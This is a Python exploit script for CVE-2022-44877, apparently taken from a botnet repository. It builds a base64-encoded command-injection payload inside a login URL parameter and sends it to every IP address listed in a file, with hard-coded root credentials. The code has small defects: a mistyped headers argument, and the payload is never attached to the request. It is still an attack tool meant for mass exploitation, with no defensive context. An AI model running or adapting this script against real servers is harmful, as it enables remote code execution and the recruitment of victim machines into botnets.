Path: blob/master/Botnets/Exploits/CVE-2022-44877.py
5038 views
import vthread1import requests2import base643import os45command = b"hi"67payload = "/login/index.php?login=$(echo${IFS}cmdd${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)".replace(8"cmdd",9base64.b64encode(command).decode())1011data = {"username": "root", "password": "toor", "commit": "Login"}12header = {13"Content-Type": "application/x-www-form-urlencoded",14"User-Agent":15"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",16"Accept":17"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",18"Accept-Encoding": "gzip, deflate",19"Accept-Language": "en"20}21222324def exp(url):25if "http" not in url:26url = "http://" + url2728try:29r = requests.post(url, verify=False, data=data, header=header)30if r.status_code == 200:31print("[+] payload sent")32else:33print("[-] payload sent fail")34except:35print("[-] connection refused")3637if __name__ == "__main__":38file = open("ip.txt").readlines()39for ip in file:40ip = ip.strip()41exp(ip)4243